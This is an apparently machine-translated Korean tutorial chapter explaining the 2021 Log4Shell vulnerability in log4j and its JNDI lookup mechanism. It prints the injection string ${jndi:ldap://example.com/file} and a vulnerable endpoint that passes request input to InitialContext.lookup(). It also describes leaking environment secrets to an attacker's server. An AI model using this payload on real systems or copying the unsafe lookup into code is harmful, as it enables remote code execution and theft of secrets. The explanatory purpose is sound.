Log4Shell 취약점

7.1 스캔들

물론 아주 최근인 2021년 말에 일어난 이야기를 말하지 않는 것은 불가능합니다.

미국 사이버 보안 및 인프라 보호국(CISA)은 이 문제가 Log4Shell역사상 가장 심각한 취약점 중 하나라고 말했습니다. 예, 우리는 우리가 가장 좋아하는 라이브러리에 대해 이야기하고 있습니다 log4j.

우리의 아늑한 작은 도서관 log4j 과 역사상 가장 큰 취약점 ? 흥미가 있습니까? 그럼 들어봐.

7.2 재해 규모

Log4ShellLunasec 보안 전문가는 2021년 12월 9일 치명적인 취약점(코드 CVE-2021-44228)을 발견했다고 발표했습니다. Apache Security Team Java 커뮤니티의 전문가가 이 정보를 확인하고 취약한 Java 라이브러리 목록을 게시했습니다. 목록은 엄청났습니다.

Java 프로젝트가 라이브러리를 사용하는 경우 log4j상당히 쉽게 해킹될 수 있습니다. 그리고 거의 모든 서버 소프트웨어가 가장 널리 사용되는 자바 로거로 작성된다는 점을 감안하면 Java보안 log4j전문가에 따르면 이 취약점은 기업 클라우드 환경의 93%에 영향을 미쳤다. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam 등을 포함합니다.

또한 이 취약점은 서버 소프트웨어뿐만 아니라 많은 Java 애플리케이션과 하드웨어 제조업체에도 영향을 미쳤습니다. 예를 들어 인텔은 SDK, 서버 유지 관리 시스템, Linux 도구 등 32개의 해킹 가능한 프로그램 목록을 게시했습니다.

Nvidia는 또한 DGX 서버 및 NetQ 도구를 언급하는 보안 문제 보고서를 게시했습니다. Apple과 Microsoft에서 긴급하게 여러 가지 업데이트를 발표했습니다.

대략적으로 말하면, 학생 브라우저의 주소 표시줄에 있는 한 줄은 로거가 이 줄을 먹은 경우 서버에 넣습니다 (많은 서버에서 모든 것이 기록됨 HTTP-requests).

코드를 분석한 결과, 취약점이 2013년부터 라이브러리에 존재했음이 밝혀졌지만 이제서야 알아차렸습니다. 그리고 그들이 더 깊이 파기 시작했을 때 그들은 바닥이 전혀 보이지 않는 심연을 발견했습니다.

7.3 역사상 가장 심각한 취약점

2021년 12월 미국 CISA(Cybersecurity and Infrastructure Protection Agency)는 역사상 가장 심각한 취약점 중 하나라고 밝혔 습니다 .Log4Shell

다른 많은 전문가들도 비슷한 의견을 표명합니다 . 모든 사람이 이 취약점에 대해 알고 있으며 모든 연령대의 해커가 이미 이 취약점을 사용하여 다양한 조직에 대한 개인 데이터 및 기타 유형의 공격을 훔치고 있습니다. 앞으로 우리는 대규모 해킹과 데이터 유출의 물결을 기다리고 있습니다.

재난의 규모는 Log4j에 대한 밈이 있는 별도의 사이트가 있고 매일 새로운 사진이 있다는 사실만으로도 가늠할 수 있습니다 .

이 문제는 오랫동안 우리와 함께했습니다. 수억 대는 아니더라도 수백만 대의 컴퓨터 시스템에 존재하는 보안 허점. 모든 오래된 소프트웨어를 업데이트하고 최소한 이 라이브러리를 교체해야 합니다. 그러나 대부분의 경우 소프트웨어에서 어떤 라이브러리와 버전이 사용되는지 아무도 모릅니다.

일반적으로 컴퓨터 보안 전문가의 급여가 급격히 증가할 것으로 예상됩니다.

7.4 취약성의 특성

취약점의 본질을 이해하려면 대규모 서버 시스템이 어떻게 배열되어 있는지 이해해야 합니다. 종종 이러한 서버 응용 프로그램은 서로 다른 서버에 있는 서로 다른 서비스로 나뉩니다. 그리고 JNDI 서비스는 상호작용을 돕습니다.

JNDI(Java Naming and Directory Interface)는Java API 이름으로 개체/서비스를 조회하는 것 입니다 . 이러한 객체는 RMI(Remote Method Invocation), CORBA(Common Object Request Broker Architecture), LDAP(Lightweight Directory Access Protocol) 또는 DNS(Domain Name Service)와 같은 다양한 이름 지정 서비스 또는 디렉토리에 저장할 수 있습니다.

Java API그것으로 작업하는 것은 매우 간단합니다. 서비스 이름이라는 하나의 문자열 매개 변수만 사용하는 간단한 것입니다 . 이를 통해 모든 서비스에 연락하여 작업을 요청하거나 일부 데이터를 보낼 수 있습니다. 예를 들어 문자열은 문자열에 지정된 ${jndi:ldap://example.com/file}this에서 데이터를 로드합니다 .URL

매개변수가 신뢰할 수 없는 소스에서 온 경우 원격 클래스 로딩 및 타사 코드 실행으로 이어질 수 있습니다 . . Log4j_ 공격자는 단순히 피해자의 Java 응용 프로그램을 악의적인 응용 프로그램으로 지정 rmi/ldap/corba-server하고 그에 대한 응답으로 악성 개체를 받습니다.

기술적으로 여기서 문제는 log4j라이브러리 자체 에 있는 것이 아니라 JNDI-service. 어떤 종류의 문자열을 전달하는지 항상 확인해야 합니다 InitialContext.lookup().

취약한 예 JNDI-applications:

@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 너무 똑똑한 도서관

그리고 어디에 log4j물어보나요? 문제는 개발자가 가능한 한 편안하게 작업하고 스마트 로깅을 추가하기를 원했다는 것입니다. 작동 방식은 다음과 같습니다.

이 모든 것은 로그 메시지를 통해 데이터가 대체되는 템플릿을 설정할 수 있다는 사실에서 시작되었습니다. 예를 들면 다음과 같습니다.

log.debug(“User {user} has {count} friends”, user, count);

데이터 대체가 없는 이전 버전은 다음과 같습니다.

log.debug( “User “+user +” has “+ count +” friends”);

2013년에는 뷰 템플릿에 지정된 스마트 접두사 대체도 라이브러리에 추가되었습니다 ${prefix:name}. 예를 들어 문자열 “${java:version}”은 «Java version 1.7.0_67». 오 얼마나 편리합니다.

인식되는 표현식 중에는 ${jndi:<lookup>}jndi 프로토콜 다음을 통해 검색을 지정할 수 있는 위치 LDAP가 URL-address있습니다 Java.

이것은 전체 접근 방식의 표준 문제입니다 JDK. URL 형식으로 설정할 수 있는 링크인 개체를 자동으로 역직렬화합니다. 이 경우 객체의 데이터뿐만 아니라 해당 클래스의 코드도 원격 리소스에서 로드됩니다.

해킹은 다음과 같습니다.

• 악성 코드가 포함된 파일 다운로드
• 파일에 직렬화 Java an object(및 해당 클래스)가 포함됨
• 클래스가 로드 중입니다.Java-machine
• 악성 클래스의 개체가 생성됨
• 개체의 생성자가 호출됩니다.
• 생성자와 정적 초기화 모두 악성 클래스 코드 실행 허용

기록 중인 라인에 log4j이와 같은 것이 있으면 인터넷에 연결할 때${jndi:ldap://example.com/file} 여기 log4j에서 데이터를 다운로드합니다URL-address . 기록된 문자열을 입력하면 공격자가 공용 URL-address.

데이터 실행이 비활성화된 경우에도 공격자는 비밀 환경 변수와 같은 데이터를 에 배치하여 이를 URL-address대체하고 공격자의 서버로 전송함으로써 데이터를 얻을 수 있습니다.

좋은 소식은 문제가 라이브러리에서 신속하게 수정되었다는 것입니다 .

나쁜 소식은 전 세계 수백만 대의 서버가 여전히 이 라이브러리의 이전 버전을 실행하고 있다는 것입니다 .